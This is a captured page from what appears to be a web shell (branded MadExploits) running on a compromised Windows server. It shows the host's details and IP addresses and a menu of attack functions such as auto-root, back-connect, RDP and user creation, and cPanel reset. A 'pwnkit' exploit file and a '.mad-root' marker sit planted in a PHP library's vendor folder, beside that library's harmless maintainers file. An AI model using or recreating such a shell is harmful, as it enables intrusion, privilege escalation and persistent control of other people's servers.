Windows NT SRV-DATA 6.3 build 9600 (Windows Server 2012 R2 Standard Edition) AMD64
Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0
: 192.168.213.201 | : 216.73.216.72
Cant Read [ /etc/named.conf ]
8.2.0
ADMINISTRATEUR
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
[ E ]
[ Z ]
C: /
xampp /
phpMyAdmin /
vendor /
slim /
psr7 /
[ HOME SHELL ]
Name
Size
Permission
Action
src
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
LICENSE.md
1.06
KB
-rw-rw-rw-
MAINTAINERS.md
957
B
-rw-rw-rw-
composer.json
1.75
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MAINTAINERS.md
# Maintainers There aren't many rules for maintainers of Slim-Psr7 to remember; what we have is listed here. ## We don't merge our own PRs Our code is better if more than one set of eyes looks at it. Therefore we do not merge our own pull requests unless there is an exceptional circumstance. This helps to spot errors in the patch and also enables us to share information about the project around the maintainer team. ## PRs tagged `[WIP]` are not ready to be merged Sometimes it's helpful to collaborate on a patch before it's ready to be merged. We use the `[WIP]` tag (for _Work in Progress_) in the title to mark these PRs. If a PR has `[WIP]` in its title, then it is not to be merged. The person who raised the PR will remove the `[WIP]` tag when they are ready for a full review and merge. ## Assign a merged PR to a milestone By ensuring that all merged PRs are assigned to a milestone, we can easily find which PRs were in which release.
Close
